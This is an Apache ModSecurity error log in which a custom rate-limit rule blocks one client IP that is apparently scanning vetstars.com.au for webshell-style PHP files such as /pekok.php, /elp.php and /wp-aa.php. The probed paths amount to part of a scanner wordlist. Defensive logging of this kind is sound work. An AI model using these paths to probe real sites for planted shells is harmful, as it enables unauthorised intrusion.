[Mon Jan 05 18:50:00.348662 2026] [:error] [pid 5535:tid 5579] [client 4.197.220.165:11072] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aVuXWGnkedMjhVX0PTVdUAAAAEk"]
[Mon Jan 05 18:50:00.400392 2026] [:error] [pid 5534:tid 5558] [client 4.197.220.165:11245] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aVuXWJNs9XmbR6unB0ylsAAAAA8"]
[Mon Jan 05 18:50:00.472501 2026] [:error] [pid 5632:tid 5655] [client 4.197.220.165:11191] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aVuXWIN3ZWvlOh-nbt-w4gAAAMs"]
[Mon Jan 05 18:50:00.512628 2026] [:error] [pid 6680:tid 6704] [client 4.197.220.165:11020] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aVuXWKE58uNoazzTmx3Y6gAAARY"]
[Mon Jan 05 18:50:00.594901 2026] [:error] [pid 5534:tid 5563] [client 4.197.220.165:11136] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVuXWJNs9XmbR6unB0ylsQAAABQ"]
[Mon Jan 05 18:50:00.698221 2026] [:error] [pid 54081:tid 54095] [client 4.197.220.165:11084] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVuXWFL4jLgtF-b9w4dvagAAAUs"]
[Mon Jan 05 18:50:00.915453 2026] [:error] [pid 5632:tid 5667] [client 4.197.220.165:11099] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVuXWIN3ZWvlOh-nbt-w5AAAANc"]
[Mon Jan 05 18:50:01.016209 2026] [:error] [pid 5536:tid 5621] [client 4.197.220.165:11169] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVuXWQRtMZNG6xI8yDzOLQAAAJg"]
[Mon Jan 05 18:50:01.167361 2026] [:error] [pid 5534:tid 5552] [client 4.197.220.165:11160] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aVuXWZNs9XmbR6unB0ylsgAAAAk"]
[Mon Jan 05 18:50:01.344144 2026] [:error] [pid 28407:tid 28423] [client 4.197.220.165:11098] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aVuXWdercd3ptydUzM0xcQAAAYw"]
[Mon Jan 05 18:50:01.606147 2026] [:error] [pid 28407:tid 28430] [client 4.197.220.165:11172] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aVuXWdercd3ptydUzM0xcgAAAZM"]
[Mon Jan 05 18:50:01.861774 2026] [:error] [pid 5534:tid 5562] [client 4.197.220.165:11216] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aVuXWZNs9XmbR6unB0ylswAAABM"]
[Mon Jan 05 18:50:02.006955 2026] [:error] [pid 5536:tid 5617] [client 4.197.220.165:11162] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aVuXWgRtMZNG6xI8yDzOLgAAAJQ"]
[Mon Jan 05 18:50:02.192688 2026] [:error] [pid 5632:tid 5649] [client 4.197.220.165:11173] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aVuXWoN3ZWvlOh-nbt-w5wAAAMU"]
[Mon Jan 05 18:50:02.307471 2026] [:error] [pid 5534:tid 5548] [client 4.197.220.165:11082] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aVuXWpNs9XmbR6unB0yltAAAAAU"]
[Mon Jan 05 18:50:02.485638 2026] [:error] [pid 5536:tid 5610] [client 4.197.220.165:11109] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aVuXWgRtMZNG6xI8yDzOLwAAAI0"]
[Mon Jan 05 18:50:02.561185 2026] [:error] [pid 5534:tid 5567] [client 4.197.220.165:11154] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aVuXWpNs9XmbR6unB0yltQAAABg"]
[Mon Jan 05 18:50:02.628245 2026] [:error] [pid 5534:tid 5554] [client 4.197.220.165:11107] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aVuXWpNs9XmbR6unB0yltgAAAAs"]
[Mon Jan 05 18:50:02.705497 2026] [:error] [pid 5534:tid 5553] [client 4.197.220.165:11175] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aVuXWpNs9XmbR6unB0yltwAAAAo"]
[Mon Jan 05 18:50:02.917301 2026] [:error] [pid 5534:tid 5559] [client 4.197.220.165:11114] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aVuXWpNs9XmbR6unB0yluAAAABA"]
[Mon Jan 05 18:50:03.319505 2026] [:error] [pid 5536:tid 5619] [client 4.197.220.165:11244] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aVuXWwRtMZNG6xI8yDzOMAAAAJY"]
[Mon Jan 05 18:50:03.645522 2026] [:error] [pid 5536:tid 5618] [client 4.197.220.165:11045] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aVuXWwRtMZNG6xI8yDzOMQAAAJU"]
[Mon Jan 05 18:50:03.903568 2026] [:error] [pid 5534:tid 5564] [client 4.197.220.165:11192] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aVuXW5Ns9XmbR6unB0ylugAAABU"]
[Mon Jan 05 18:50:04.128296 2026] [:error] [pid 54081:tid 54090] [client 4.197.220.165:11166] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aVuXXFL4jLgtF-b9w4dvbAAAAUY"]
[Mon Jan 05 18:50:04.693043 2026] [:error] [pid 54081:tid 54100] [client 4.197.220.165:11095] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVuXXFL4jLgtF-b9w4dvbgAAAVA"]
[Mon Jan 05 18:50:05.084673 2026] [:error] [pid 6680:tid 6694] [client 4.197.220.165:11150] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVuXXaE58uNoazzTmx3Y7AAAAQw"]
[Mon Jan 05 18:50:05.514084 2026] [:error] [pid 6680:tid 6692] [client 4.197.220.165:11182] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVuXXaE58uNoazzTmx3Y7QAAAQo"]
[Mon Jan 05 18:50:06.575015 2026] [:error] [pid 6680:tid 6696] [client 4.197.220.165:11230] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVuXXqE58uNoazzTmx3Y7wAAAQ4"]
[Mon Jan 05 18:50:07.151163 2026] [:error] [pid 5536:tid 5616] [client 4.197.220.165:11075] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVuXXwRtMZNG6xI8yDzONAAAAJM"]
[Mon Jan 05 18:50:07.467561 2026] [:error] [pid 6680:tid 6701] [client 4.197.220.165:11092] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVuXX6E58uNoazzTmx3Y8gAAARM"]
[Mon Jan 05 18:50:07.543535 2026] [:error] [pid 6680:tid 6693] [client 4.197.220.165:11157] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVuXX6E58uNoazzTmx3Y8wAAAQs"]
[Mon Jan 05 18:50:07.745340 2026] [:error] [pid 5536:tid 5609] [client 4.197.220.165:11010] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVuXXwRtMZNG6xI8yDzONQAAAIw"]
[Mon Jan 05 18:50:07.816197 2026] [:error] [pid 5536:tid 5604] [client 4.197.220.165:11243] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aVuXXwRtMZNG6xI8yDzONgAAAIc"]
[Mon Jan 05 18:50:07.899625 2026] [:error] [pid 28407:tid 28419] [client 4.197.220.165:11167] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aVuXX9ercd3ptydUzM0xdgAAAYg"]
[Mon Jan 05 18:50:08.029326 2026] [:error] [pid 5534:tid 5544] [client 4.197.220.165:11033] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aVuXYJNs9XmbR6unB0ylwQAAAAE"]
[Mon Jan 05 18:50:08.142934 2026] [:error] [pid 5534:tid 5560] [client 4.197.220.165:11078] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aVuXYJNs9XmbR6unB0ylwgAAABE"]
[Mon Jan 05 18:50:08.210322 2026] [:error] [pid 54081:tid 54104] [client 4.197.220.165:15577] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aVuXYFL4jLgtF-b9w4dvbwAAAVQ"]
[Mon Jan 05 18:50:08.319809 2026] [:error] [pid 28407:tid 28432] [client 4.197.220.165:11113] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aVuXYNercd3ptydUzM0xdwAAAZU"]
[Mon Jan 05 18:50:08.865016 2026] [:error] [pid 5632:tid 5664] [client 4.197.220.165:11187] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aVuXYIN3ZWvlOh-nbt-w6gAAANQ"]
[Mon Jan 05 18:50:09.255645 2026] [:error] [pid 6680:tid 6685] [client 4.197.220.165:15582] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aVuXYaE58uNoazzTmx3Y9gAAAQM"]
[Mon Jan 05 18:50:10.194385 2026] [:error] [pid 5536:tid 5620] [client 4.197.220.165:11024] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aVuXYgRtMZNG6xI8yDzOOwAAAJc"]
[Mon Jan 05 18:50:10.691625 2026] [:error] [pid 5534:tid 5548] [client 4.197.220.165:11070] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aVuXYpNs9XmbR6unB0ylxQAAAAU"]
[Mon Jan 05 18:50:10.732181 2026] [:error] [pid 28407:tid 28435] [client 4.197.220.165:11117] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aVuXYtercd3ptydUzM0xeAAAAZg"]
[Mon Jan 05 18:50:10.777466 2026] [:error] [pid 28407:tid 28415] [client 4.197.220.165:15506] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aVuXYtercd3ptydUzM0xeQAAAYU"]
[Mon Jan 05 18:50:10.955581 2026] [:error] [pid 28407:tid 28428] [client 4.197.220.165:11190] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aVuXYtercd3ptydUzM0xegAAAZE"]
[Mon Jan 05 18:50:11.230104 2026] [:error] [pid 5632:tid 5655] [client 4.197.220.165:11193] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aVuXY4N3ZWvlOh-nbt-w7AAAAMs"]
[Mon Jan 05 18:50:11.458697 2026] [:error] [pid 6680:tid 6695] [client 4.197.220.165:11097] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aVuXY6E58uNoazzTmx3Y9wAAAQ0"]
[Mon Jan 05 18:50:11.721464 2026] [:error] [pid 6680:tid 6699] [client 4.197.220.165:11090] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aVuXY6E58uNoazzTmx3Y-QAAARE"]
[Mon Jan 05 18:50:11.899873 2026] [:error] [pid 6680:tid 6692] [client 4.197.220.165:11023] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVuXY6E58uNoazzTmx3Y-gAAAQo"]
[Mon Jan 05 18:50:12.139983 2026] [:error] [pid 6680:tid 6704] [client 4.197.220.165:11165] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVuXZKE58uNoazzTmx3Y_AAAARY"]
[Mon Jan 05 18:50:12.327113 2026] [:error] [pid 54081:tid 54103] [client 4.197.220.165:11146] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVuXZFL4jLgtF-b9w4dvcQAAAVM"]
[Mon Jan 05 18:50:12.757233 2026] [:error] [pid 28407:tid 28423] [client 4.197.220.165:11158] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVuXZNercd3ptydUzM0xfQAAAYw"]
[Mon Jan 05 18:50:13.018485 2026] [:error] [pid 28407:tid 28430] [client 4.197.220.165:11121] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVuXZdercd3ptydUzM0xfgAAAZM"]
[Mon Jan 05 18:50:13.320286 2026] [:error] [pid 5536:tid 5609] [client 4.197.220.165:11036] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVuXZQRtMZNG6xI8yDzOSgAAAIw"]
[Mon Jan 05 18:50:13.539040 2026] [:error] [pid 5534:tid 5566] [client 4.197.220.165:11063] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVuXZZNs9XmbR6unB0ylyQAAABc"]
[Mon Jan 05 18:50:13.817707 2026] [:error] [pid 54081:tid 54094] [client 4.197.220.165:11123] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVuXZVL4jLgtF-b9w4dvcgAAAUo"]
[Mon Jan 05 18:50:14.361839 2026] [:error] [pid 5632:tid 5651] [client 4.197.220.165:11132] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVuXZoN3ZWvlOh-nbt-w7gAAAMc"]
